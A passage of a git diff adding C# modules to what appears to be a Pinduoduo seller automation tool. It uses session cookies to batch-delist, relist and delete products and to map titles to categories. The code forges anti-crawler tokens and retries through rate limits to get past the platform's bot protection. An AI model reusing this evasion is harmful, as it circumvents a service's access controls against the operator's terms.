@"\{""id"":([\d]+),"); + if (m == null || m.Count == 0) + return; + for (int i = 0; i < m.Count; i++) + { + string id = m[i].Groups[1].Value; + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/" + id + "/delete"; + html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, "{}", Shop.Cookies); + Thread.Sleep(300); + } + } + + + } + } +} diff --git a/Work/Api/DownUpProductExploder.cs b/Work/Api/DownUpProductExploder.cs new file mode 100644 index 0000000..c0099e3 --- /dev/null +++ b/Work/Api/DownUpProductExploder.cs @@ -0,0 +1,220 @@ +using System.Threading; +using AllBase; +using System; +using Work.CollectClass; +using JavaScriptEngineSwitcher.Core; +using JavaScriptEngineSwitcher.V8; + +namespace Work.Api +{ + public class DownUpProductExploder + { + public string Name; + public bool SetOn; + public string GoodsId; + public string Cookies = ""; + public ShopChatBase Shop; + public DownUpProductExploder(string name, bool setOn, string goodsId) + { + Name = name; + SetOn = setOn; + GoodsId = goodsId; + } + public void Get() + { + string data = "{\"goodsIds\":[" + GoodsId + "]}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + if (html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + var good = Shop.OnlineProduct.Find(p => p.GoodsId == long.Parse(s)); + good.Message = "下架成功"; + UploadPinduoduoMain.ProductReplaceTemp.Add(good); + LogSave.Add(Name, "下架产品成功:" + s); + } + + return; + } + if (html.Contains("手速太快了")) + { + LogSave.Add(Name, "手速太快了,休眠30秒后,继续执行"); + Thread.Sleep(30*1000); + string[] l = GoodsId.Split(','); + urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + for (int i = 0; i < l.Length; i++) + { + data = "{\"goodsId\":"+l[i]+"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + var good = Shop.OnlineProduct.Find(p => p.GoodsId == long.Parse(l[i])); + if (good != null) + { + good.Message = "下架成功"; + UploadPinduoduoMain.ProductReplaceTemp.Add(good); + } + Thread.Sleep(3*1000); + LogSave.Add(Name, "下架产品成功:" + l[i]); + if(!html.Contains("success")) + Thread.Sleep(60*1000); + } + + //html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + } + if (string.IsNullOrEmpty(html) || html.Contains("过于频繁")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + if (string.IsNullOrEmpty(html) || html.Contains("过于频繁")) + { + Thread.Sleep(90 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + } + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + LogSave.Add(Name, "速度太快,休眠2-5分钟"); + } + else + { + LogSave.Add(Name, html); + } + } + else + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + var good= Shop.OnlineProduct.Find(p => p.GoodsId == long.Parse(s)); + good.Message = "下架成功"; + UploadPinduoduoMain.ProductReplaceTemp.Add(good); + LogSave.Add(Name, "下架产品成功:" + s); + } + + } + + } + public void Up() + { + string data = "{\"goodsIds\":[" + GoodsId + "]}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOnSale"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + if (!string.IsNullOrEmpty(html) && html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + var good = Shop.OnlineProduct.Find(p => p.GoodsId == long.Parse(s)); + good.Message = "上架成功"; + UploadPinduoduoMain.ProductReplaceTemp.Add(good); + } + + return; + } + if (html.Contains("手速太快了")) + { + LogSave.Add(Name, "手速太快了,休眠30秒后,继续执行"); + Thread.Sleep(30 * 1000); + string[] l = GoodsId.Split(','); + urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/onSale"; + for (int i = 0; i < l.Length; i++) + { + data = "{\"goodsId\":" + l[i] + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + Thread.Sleep(3 * 1000); + LogSave.Add(Name, "下架产品成功:" + l[i]); + if (!html.Contains("success")) + Thread.Sleep(30 * 1000); + } + //Thread.Sleep(30 * 60 * 1000); + //html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + } + if (string.IsNullOrEmpty(html) || html.Contains("过于频繁")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + if (string.IsNullOrEmpty(html) || html.Contains("过于频繁")) + { + Thread.Sleep(90 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + } + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + LogSave.Add(Name, "速度太快,休眠2-5分钟"); + } + else + { + LogSave.Add(Name, html); + } + } + else + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + + LogSave.Add(Name, "上架产品成功:" + s); + } + } + } + public string Delete() + { + //var api = new PinduoduoApiGetProduct(Shop); + //string html = api.DelGoods("["+GoodsId+"]"); + string url = "https://mms.pinduoduo.com/plutus/api/plutus/bin/goods/delete/batch"; + string refere = "http://mms.pinduoduo.com/Pdd.html"; + string data = "{\"goods_ids\":[" + GoodsId + "],\"mall_id\":" + Shop.MallId + ",\"creator\":\"" + Shop.ShopName + "\",\"creator_id\":" + Shop.ReceiverId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies); + Thread.Sleep(1000); + return html; + } + public void OffSale() + { + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string codex = ""; + //using (IJsEngine jsEngine = new V8JsEngine()) + //{ + // jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + // codex = jsEngine.CallFunction("aaa", "").ToString(); + //} + codex = Work.ManageClass.CpsSetAllGoods.getAnti0aon(); + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + string data = "{\"goodsId\":" + GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + //string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + string html = Work.ManageClass.CpsSetAllGoods.Request_mms_pinduoduo_com(urlx, refere, Cookies, data, codex); + Thread.Sleep(5*1000); + } + public void OffSaleApi() + { + var api = new PinduoduoApiGetProduct(Shop); + try + { + var html = api.SetOnline(Convert.ToInt64(GoodsId), false); + } + catch { } + Thread.Sleep(3 * 1000); + } + public string GetPidsStore() + { + string data = "{\"goodsIds\":[" + GoodsId + "]}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies); + Thread.Sleep(1000); + return html; + } + } +} diff --git a/Work/Api/EncryptionCode.cs b/Work/Api/EncryptionCode.cs new file mode 100644 index 0000000..3840870 --- /dev/null +++ b/Work/Api/EncryptionCode.cs @@ -0,0 +1,132 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using AllBase; + +namespace Work.Api +{ + public class EncryptionCode + { + /// + /// 加密 + /// + /// + /// + /// + /// + public static string GetCode(long pid, int sid, int mid,out string code) + { + code = ""; + if (sid == 1) + code = "tb-"; + if (sid == 2) + code = "pd-"; + if (sid == 3) + code = "al-"; + if (sid == 4) + code = "jx-"; + if (sid == 6) + code = "wd-"; + code += pid; + if (pid == 0 || sid == 0 || mid == 0) + return ""; + string url = BaseClass.LoginApiUrl + "api/encodex.php?mall_id=" + mid + "&pid=" + pid + "&site_id=" + sid; + string html = GetHtml.GetUrl(url); + if (!string.IsNullOrEmpty(html) && html.Length < 50) + return html; + + code = ""; + if (sid == 1) + code = "tb-"; + if (sid == 2) + code = "pd-"; + if (sid == 3) + code = "al-"; + if (sid == 4) + code = "jx-"; + if (sid == 6) + code = "wd-"; + code += pid; + + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(100, 999); + int rmk = (mid % 27 + randx % 27) % 27; + int[] mainKey = new int[] { 6, 1, 5, 8, 4, 3, 6, 7, 0, 2, 9, 1, 2, 4, 7, 6, 5, 0, 1, 6, 8, 4, 6, 7, 9, 1 }; + string news = new Random(Guid.NewGuid().GetHashCode()).Next(100, 999).ToString(); + for (int i = 0; i < code.Length; i++) + { + int newValue = (int)code[i] - 40 + mainKey[i] * (i % 6) + rmk * (i % 5); + news += (char)newValue; + } + return "PBB" + EncodeBase64(Encoding.UTF8, news) + "?" + randx; + return code; + + + //int ridMain = new Random(Guid.NewGuid().GetHashCode()).Next(100, 999); + //int ridClient = (mid % ridMain) % 26; + + //byte[] b = Encoding.Default.GetBytes(code); + //List k = new List(); + //char[] ke = mid.ToString().ToCharArray(); + //for (int i = 0; i < ke.Length; i++) + //{ + // int j = int.Parse(ke[i].ToString()); + // k.Add(j); + //} + //int y = 0; + //for (int i = 0; i < b.Length; i++) + //{ + // int z = b[i] + k[y] * ridClient; + // b[i] = (byte)(z % 256); + // y++; + // if (y >= ke.Length) + // y = 0; + //} + //return "PBB" + Convert.ToBase64String(b) + "|" + ridMain; + } + public static string EncodeBase64(Encoding encode, string source) + { + byte[] bytes = encode.GetBytes(source); + try + { + string code = Convert.ToBase64String(bytes); + return code; + } + catch + { + return source; + } + } + + + public static void Test() + { + StringBuilder s = new StringBuilder(); + for (int i = 0; i < 200; i++) + { + for (int sid = 1; sid < 4; sid++) + { + string code = ""; + if (sid == 1) + code = "tb-"; + if (sid == 2) + code = "pd-"; + if (sid == 3) + code = "al-"; + + string mid = Randomx.GetNumber(Randomx.GetId(3, 8)); + string pid = Randomx.GetNumber(Randomx.GetId(6,13)); + code +=pid; + string url = "http://127.0.0.1:81/api/encodex.php?mall_id=" + mid + "&pid=" + pid + "&site_id=" + sid; + string html = GetHtml.Utf8(url); + url = "http://127.0.0.1:81/?obj=pinbaobao/decode&act=getx&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(html); + string htmlx = GetHtml.Utf8(url); + s.AppendLine(code + "\t" + htmlx + "\t" + html); + } + } + string xxxx = s.ToString(); + } + + } +} diff --git a/Work/Api/FromTitleToCat.cs b/Work/Api/FromTitleToCat.cs new file mode 100644 index 0000000..3a539ba --- /dev/null +++ b/Work/Api/FromTitleToCat.cs @@ -0,0 +1,770 @@ +using System.Collections.Generic; +using AllBase; +using Work.CollectClass; +using System; +using Work.ManageClass; +using System.Linq; + +namespace Work.Api +{ + public class FromTitleToCat + { + public string Cat1 = "", Cat2 = "", Cat3 = "", Cat4 = "", Title = "", MainCatId = ""; + public List Cats = new List(); + public List CatTop = new List(); + public static List MainCat = new List(); + public static Dictionary TempCat = new Dictionary(); + public static Dictionary TaobaoCat = new Dictionary(); + public bool MainServer = false, AddToStock = false, JustGetCat = false; + public static bool UserApi = false; + public bool AgainCat = false; + public int TaobaoCatId = 0; + public TaobaoProductBase TaobaoProduct; + public FromTitleToCat() + { + if (MainCat.Count > 0) + return; + MainCat.Add(new KeyValuesBase("0", ",0,", "全类目"));//全类目 + //MainCat.Add(new KeyValuesBase("5", ",8583,8439,8538,8634,8508,8509,8669,239,,210,263,270,277,990,1366,3817,", "服饰箱包"));//服饰箱包 + //MainCat.Add(new KeyValuesBase("4", ",17412,16901,17671,16155,16676,17455,16192,16209,16989,17249,17285,17803,16794,16288,16548,15543,17134,,,483,489,282,519,479,1715,259,1166,3202,525,1889,4958,", "家居生活"));//家居生活 + //MainCat.Add(new KeyValuesBase("11", ",5921,6209,5955,2629,5834,2603,5839,6128,5906,6290,2933,8502,5752,5851,7323,6076,", "数码电器"));//数码电器 + //MainCat.Add(new KeyValuesBase("3", ",18482,18574,18601,18637,,,,1464,1432,69,", "美容个护"));//美容个护 + //MainCat.Add(new KeyValuesBase("6", ",14697,14740,14933,14966,15083,15356,,77,", "母婴玩具"));//母婴玩具 + //MainCat.Add(new KeyValuesBase("12", ",9313,9314,9315,9316,9317,9318,9319,9320,9321,9322,9323,9324,,,879,873,2479,1629,4886,1896,", "家纺家具家装"));//家纺家具 + //MainCat.Add(new KeyValuesBase("10", ",11683,11684,11685,11686,11687,11688,11689,,,,4173,281,2351,", "运动户外"));//运动户外 + //MainCat.Add(new KeyValuesBase("2", ",83,8172,", "水果生鲜"));//水果生鲜 + //MainCat.Add(new KeyValuesBase("7", ",6586,6785,6883,6758,6536,6630,6398,,2,", "食品保健"));//食品保健 + //MainCat.Add(new KeyValuesBase("9", ",80,", "虚拟商品"));//虚拟商品 + //MainCat.Add(new KeyValuesBase("13", ",6785,1715,6883,13176,13177,13178,16237,", "医药健康"));//医药健康 + //MainCat.Add(new KeyValuesBase("14", ",7629,7639,", "汽配摩托"));//汽配摩托 + MainCat.Add(new KeyValuesBase("5", ",8583,8439,8538,8634,8508,8509,8669,239,,210,263,270,277,990,1366,3817,", "服饰箱包"));//服饰箱包 + MainCat.Add(new KeyValuesBase("4", ",5217,17412,16901,17671,16155,16676,17455,16192,16209,16989,17249,17285,17803,16794,16288,16548,15543,17134,,,483,489,282,519,479,1715,259,1166,3202,525,1889,4958,", "家居生活"));//家居生活 + MainCat.Add(new KeyValuesBase("11", ",5921,6209,5955,2629,5834,2603,5839,6128,5906,6290,2933,8502,5752,5851,7323,6076,", "数码电器"));//数码电器 + MainCat.Add(new KeyValuesBase("3", ",18482,18574,18601,18637,,,,,1464,1432,69,", "美容个护"));//美容个护 + MainCat.Add(new KeyValuesBase("6", ",14697,19298,14740,14933,14966,15083,15356,,77,", "母婴玩具"));//母婴玩具 + MainCat.Add(new KeyValuesBase("12", ",9313,9314,9315,9316,9317,9318,9319,9320,9321,9322,9323,9324,,,879,873,2479,1629,4886,1896,20340,", "家纺家具家装"));//家纺家具 + MainCat.Add(new KeyValuesBase("10", ",11683,11684,11685,11686,11687,11688,11689,,,,4173,281,2351,", "运动户外"));//运动户外 + MainCat.Add(new KeyValuesBase("2", ",83,8172,", "水果生鲜"));//水果生鲜 + MainCat.Add(new KeyValuesBase("7", ",6586,6785,6883,6758,6536,6630,6398,,2,", "食品保健"));//食品保健 + MainCat.Add(new KeyValuesBase("9", ",80,20078,", "虚拟商品"));//虚拟商品 + MainCat.Add(new KeyValuesBase("13", ",1715,13176,13177,13178,16237,18814,", "医药健康"));//医药健康 + MainCat.Add(new KeyValuesBase("14", ",7629,7639,", "汽配摩托"));//汽配摩托 + MainCat.Add(new KeyValuesBase("8", ",,", "海淘进口"));//海淘进口 + } + /// + /// 是否在当前分类中 + /// + /// + /// + public bool InMainCatId(int cat1) + { + for (int i = 0; i < MainCat.Count; i++) + { + if (MainCat[i].Key == BaseClass.MainCatId.ToString() && MainCat[i].Value1.Contains("," + cat1 + ",")) + { + return true; + } + } + return false; + } + + public string MainCatName = ""; + public int GetMainCatId(int cat1) + { + for (int i = 0; i < MainCat.Count; i++) + { + if (MainCat[i].Value1.Contains("," + cat1 + ",")) + { + MainCatName = MainCat[i].Value2; + return int.Parse(MainCat[i].Key); + } + } + return 0; + } + + public static ShopChatBase inShop = null; + /// + /// 线程级查询分类 + /// + public void Get() + { + if (TaobaoProduct == null || string.IsNullOrEmpty(TaobaoProduct.Titlte)) + return; + TaobaoProductBase t = TaobaoProduct; + if (UserApi) + { + ShopChatBase shop = null; + if (BaseClass.UserVersion == 110) // 特殊版本,只使用API,默认授权成功店铺就是可用 + { + inShop = GetShopLoginInfo.Shops.FirstOrDefault(s => s.Message == "授权成功"); + } + if (inShop == null && BaseClass.UserVersion != 110) // 非特殊版本,逻辑 + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + if (!GetShopLoginInfo.Shops[i].Select) + continue; + if (inShop == null) + { + string url = "https://mms.pinduoduo.com/hades/oauth/authed/list"; + string refere = "https://mms.pinduoduo.com/service-market/my-auth"; + string data = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + UploadPinduoduoMain.AntiContent + "\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, GetShopLoginInfo.Shops[i].Cookies, UploadPinduoduoMain.AntiContent); //GetPostTaobaoHtml.GetJsonPostAnti(url, refere, true, data, GetShopLoginInfo.Shops[i].Cookies, crawlerInfo); + var mc = BaseRegex.GetMatchRegex(ref html, @"\{[\w\W]+?\}"); + for (int j = 0; mc != null && j < mc.Count; j++) + { + string list = mc[j].Groups[0].Value; + string cxid = BaseRegex.GetStringJson(ref list, "clientId"); + long expiredAt = BaseRegex.GetLongJson(ref list, "refreshTokenExpiredAt"); + DateTime t1 = DateTime.Now; + DateTime t2 = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)).AddMilliseconds(expiredAt); + System.TimeSpan t3 = t2 - t1; + double getDay = t3.TotalDays; + if (BaseClass.ClientIdx.Contains(cxid) && getDay > 0) + { + inShop = GetShopLoginInfo.Shops[i]; + break; + } + } + } + if (inShop==null) + { + string urlxs = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken"; + string referes = "https://fuwu.pinduoduo.com/service-market/my-service"; + string dataxs = "{\"redirectUrl\":\"https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2Fmy-service\"}"; + string htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, GetShopLoginInfo.Shops[i].Cookies, dataxs, CpsSetAllGoods.getAnti0aon()); + string accessToken = BaseRegex.GetStringJson(ref htmlxs, "accessToken"); + urlxs = "https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2F&accessToken=" + accessToken; + htmlxs = PinduoduoAuth.GetJsonPostURL(urlxs, referes, true, "", GetShopLoginInfo.Shops[i].Cookies); + accessToken = BaseRegex.GetMatchRegexString(ref htmlxs, "SUB_PASS_ID=([^;]+?);"); + string cookiesx = "SUB_PASS_ID=" + accessToken; + string codexs = CpsSetAllGoods.getAnti0aon(); + urlxs = "https://fuwu.pinduoduo.com/columbine/oauth/authed/list"; + referes = "https://fuwu.pinduoduo.com/service-market/my-auth"; + dataxs = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + codexs + "\"}"; + htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, GetShopLoginInfo.Shops[i].Cookies + cookiesx, dataxs, codexs); + var m = BaseRegex.GetMatchRegex(ref htmlxs, @"\{[\w\W]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + string cxid = BaseRegex.GetStringJson(ref list, "clientId"); + if (cxid == "9558f920cf77403bb475243fe44482ad" || cxid == "81fd2bbabbd54ec5bf312e05401a0343" + || cxid == "9f7d0ce6460b46e7a3833ac2e8325519" || cxid == "3069c1c325e44e85bcf5b6295694bdae" + || cxid == "f23bda7f6d9c4b6c8751268891779660" || cxid == "5d755c0cf97a4cbdb8aa958beea25011" || cxid == "911bd1c0c0a0403da88334e24ca288a2") + continue; + long auditAt = BaseRegex.GetLongJson(ref list, "auditAt"); + long refreshTokenExpiredAt = BaseRegex.GetLongJson(ref list, "refreshTokenExpiredAt"); + DateTime t1 = DateTime.Now;// DateTime.Parse(DateTime.Now.ToString("1970-01-01 00:00:00")).AddMilliseconds(auditAt); + DateTime t2 = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)).AddMilliseconds(refreshTokenExpiredAt); + System.TimeSpan t3 = t2 - t1; //两个时间相减 。默认得到的是 两个时间之间的天数 得到:365.00:00:00 + double getDay = t3.TotalDays; + if (BaseClass.ClientIdx.Contains(cxid) && getDay > 0) + { + inShop = GetShopLoginInfo.Shops[i]; + break; + } + } + } + if (inShop == null) + GetShopLoginInfo.Shops[i].APIMessage = "请先购买API再上传"; + } + } + shop = inShop; + if (shop == null) + return; + // shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed && !string.IsNullOrEmpty(sp.AccessToken) && sp.Select); + //if (shop == null) + // shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed && !string.IsNullOrEmpty(sp.AccessToken)); + if (shop != null) + { + var api = new PinduoduoApiGetProduct(shop); + string taobaoCatName = "0"; + if (TaobaoCat.ContainsKey(TaobaoCatId)) + taobaoCatName = TaobaoCat[TaobaoCatId]; + if (TaobaoCatId == 0) + TaobaoCatId = 1; + string html = api.GetCatId(TaobaoCatId, taobaoCatName, t.Titlte); + if (html.Contains("\"error_msg\":授权失败,请先购买API再上传")) + { + inShop = null; + } + if (html.Contains("cat_id1")) + { + Cat1 = BaseRegex.GetIntJson(ref html, "cat_id1").ToString(); + Cat2 = BaseRegex.GetIntJson(ref html, "cat_id2").ToString(); + Cat3 = BaseRegex.GetIntJson(ref html, "cat_id3").ToString(); + Cat4 = BaseRegex.GetIntJson(ref html, "cat_id4").ToString(); + } + } + } + if (string.IsNullOrEmpty(Cat1) || Cat1 == "0")//API未执行成功 + { + bool ok = Get(t.Titlte, t.FromId, t.FromSiteId); + if (!ok) + return; + } + + if (string.IsNullOrEmpty(Cat4)) + Cat4 = "0"; + t.Cat1 = int.Parse(Cat1); + t.Cat4 = int.Parse(Cat4); + t.Cat3 = int.Parse(Cat3); + t.Cat2 = int.Parse(Cat2); + int id = t.Cat4 > 0 ? t.Cat4 : t.Cat3; + int cid = PinduoduoCatList.GetNewCat3(id); + if (!AgainCat&&cid != id && PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + t.CatId = ci.id; + t.Cat1 = ci.cat1; + t.Cat2 = ci.cat2; + if (ci.cat3 == 0) + { + foreach (KeyValuePair c3 in PinduoduoCatList.CatIds) + { + if (c3.Value.cat2 == ci.cat2 && c3.Value.cat3 > 0) + { + ci.cat3 = c3.Value.cat3; + break; + } + } + } + t.Cat3 = ci.cat3; + if (ci.cat4 == 0 && ci.cat3 > 0) + { + foreach (KeyValuePair c4 in PinduoduoCatList.CatIds) + { + if (c4.Value.cat3 == ci.cat3 && c4.Value.cat4 > 0) + { + ci.cat4 = c4.Value.cat4; + break; + } + } + } + t.Cat4 = ci.cat4; + t.MainCatId = ci.main_cat_id; + } + t.MainCatId = GetMainCatId(t.Cat1); + t.MainCatName = MainCatName; + t.CatId = t.Cat4 > 0 ? t.Cat4 : t.Cat3; + if (t.MainCatId == 0 || JustGetCat || CollectKeywordByTaobao.MainCatId > 0 && CollectKeywordByTaobao.MainCatId != t.MainCatId) + { + return; + } + if (AddToStock) + { + if (!string.IsNullOrEmpty(t.ShopName)) + { + var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == t.ShopName); + if (shop == null || t.MainCatId != shop.MainCatId) + t.ShopName = ""; + else + { + var s = GetShopLoginInfo.Shops.Find(ss => ss.ShopName == t.ShopName); + if (s != null) + { + s.ProductCount++; + UploadPinduoduoMain.ShopReplaceTemp.Add(s); + UploadPinduoduoMain.ShopTemp.Add(s); + } + } + } + UploadPinduoduoMain.ProductStock.Add(t); + UploadPinduoduoMain.AddToDataBase(t); + return; + } + if (CollectKeywordByTaobao.AutoAdd) + { + UploadPinduoduoMain.ProductStock.Add(t); + UploadPinduoduoMain.AddToDataBase(t); + } + CollectKeywordByTaobao.Product.Add(t); + CollectKeywordByTaobao.ProductTemp.Add(t); + } + public bool Get(string title, long fromId) + { + if (string.IsNullOrEmpty(title)) + return false; + if (TempCat.ContainsKey(fromId) && fromId > 0) + { + Cat1 = TempCat[fromId].Value1; + Cat2 = TempCat[fromId].Value2; + Cat3 = TempCat[fromId].Value3; + Cat4 = TempCat[fromId].Value4; + MainCatId = TempCat[fromId].Key; + return true; + } + Title = title; + Title = BaseRegex.Clear(Title, @"([\d\s]+)"); + GetLen(4); + bool ok = OutPut(fromId); + if (ok) + return true; + GetLen(6); + ok = OutPut(fromId); + if (ok) + return true; + GetLen(8); + ok = OutPut(fromId); + if (ok) + return true; + if (Cats.Count > 0) + { + var c = CatTop[0]; + Cat1 = c.Value1; + Cat2 = c.Value2; + for (int i = 0; i < Cats.Count; i++) + { + if (Cats[i].Value2 == Cat2) + { + Cat3 = Cats[i].Value3; + break; + } + } + for (int i = 0; i < MainCat.Count; i++)//计算主营类目ID + { + if (MainCat[i].Value1.Contains("," + Cat1 + ",")) + { + MainCatId = MainCat[i].Key; + if (!TempCat.ContainsKey(fromId)) + { + KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3); + try + { + TempCat.Add(fromId, k); + } + catch + { + } + } + return true; + } + } + } + return ok; + } + + public void GetLoad() + { + if (TaobaoProduct == null || string.IsNullOrEmpty(TaobaoProduct.Titlte)) + return; + TaobaoProductBase t = TaobaoProduct; + if (UserApi) + { + var shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed && !string.IsNullOrEmpty(sp.AccessToken) && sp.Select); + if (shop == null) + shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed && !string.IsNullOrEmpty(sp.AccessToken)); + if (shop != null) + { + var api = new PinduoduoApiGetProduct(shop); + string taobaoCatName = "0"; + if (TaobaoCat.ContainsKey(TaobaoCatId)) + taobaoCatName = TaobaoCat[TaobaoCatId]; + if (TaobaoCatId == 0) + TaobaoCatId = 1; + string html = api.GetCatId(TaobaoCatId, taobaoCatName, t.Titlte); + if (html.Contains("cat_id1")) + { + Cat1 = BaseRegex.GetIntJson(ref html, "cat_id1").ToString(); + Cat2 = BaseRegex.GetIntJson(ref html, "cat_id2").ToString(); + Cat3 = BaseRegex.GetIntJson(ref html, "cat_id3").ToString(); + Cat4 = BaseRegex.GetIntJson(ref html, "cat_id4").ToString(); + } + } + } + if (string.IsNullOrEmpty(Cat1) || Cat1 == "0")//API未执行成功 + { + bool ok = Get(t.Titlte, t.FromId, t.FromSiteId); + if (!ok) + return; + } + + if (string.IsNullOrEmpty(Cat4)) + Cat4 = "0"; + t.Cat1 = int.Parse(Cat1); + t.Cat4 = int.Parse(Cat4); + t.Cat3 = int.Parse(Cat3); + t.Cat2 = int.Parse(Cat2); + int id = t.Cat4 > 0 ? t.Cat4 : t.Cat3; + int cid = PinduoduoCatList.GetNewCat3(id); + if (cid != id && PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + t.CatId = ci.id; + t.Cat1 = ci.cat1; + t.Cat2 = ci.cat2; + if (ci.cat3 == 0) + { + foreach (KeyValuePair c3 in PinduoduoCatList.CatIds) + { + if (c3.Value.cat2 == ci.cat2 && c3.Value.cat3 > 0) + { + ci.cat3 = c3.Value.cat3; + break; + } + } + } + t.Cat3 = ci.cat3; + if (ci.cat4 == 0 && ci.cat3 > 0) + { + foreach (KeyValuePair c4 in PinduoduoCatList.CatIds) + { + if (c4.Value.cat3 == ci.cat3 && c4.Value.cat4 > 0) + { + ci.cat4 = c4.Value.cat4; + break; + } + } + } + t.Cat4 = ci.cat4; + t.MainCatId = ci.main_cat_id; + } + t.MainCatId = GetMainCatId(t.Cat1); + t.MainCatName = MainCatName; + t.CatId = t.Cat4 > 0 ? t.Cat4 : t.Cat3; + if (t.MainCatId == 0 || JustGetCat || CollectKeywordByTaobao.MainCatId > 0 && CollectKeywordByTaobao.MainCatId != t.MainCatId) + { + return; + } + if (AddToStock) + { + if (!string.IsNullOrEmpty(t.ShopName)) + { + var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == t.ShopName); + if (shop == null || t.MainCatId != shop.MainCatId) + t.ShopName = ""; + else + { + var s = GetShopLoginInfo.Shops.Find(ss => ss.ShopName == t.ShopName); + if (s != null) + { + s.ProductCount++; + UploadPinduoduoMain.ShopReplaceTemp.Add(s); + UploadPinduoduoMain.ShopTemp.Add(s); + } + } + } + try + { + var ps = UploadPinduoduoMain.ProductStock.Find(p => p.FromId == t.FromId && p.Titlte == t.Titlte); + ps = t; + } + catch + { + } + return; + } + if (CollectKeywordByTaobao.AutoAdd) + { + try + { + var ps = UploadPinduoduoMain.ProductStock.Find(p => p.FromId == t.FromId && p.Titlte == t.Titlte); + ps = t; + } + catch + { + + } + } + CollectKeywordByTaobao.Product.Add(t); + CollectKeywordByTaobao.ProductTemp.Add(t); + } + + public KeyValuesBase GetServerTempCat(long fromId, int siteId) + { + string url = BaseClass.LoginApiUrl + "?obj=product/product&act=get_cat"; + string data = UserLogin.GetSignaturex() + "&site_id=" + siteId + "&id=" + fromId; + string html = GetHtml.PostUtf8(url, data); + if (!string.IsNullOrEmpty(html) && html.Contains("cat_id")) + { + Cat1 = BaseRegex.GetStringJson(ref html, "cat1"); + Cat2 = BaseRegex.GetStringJson(ref html, "cat2"); + Cat3 = BaseRegex.GetStringJson(ref html, "cat3"); + Cat4 = BaseRegex.GetStringJson(ref html, "cat4"); + if (Cat3 != "0" || Cat4 != "0") + { + MainCatId = BaseRegex.GetStringJson(ref html, "main_cid"); + GetMainCatId(int.Parse(Cat1)); + if (!TempCat.ContainsKey(fromId)) + { + KeyValuesBase k = new 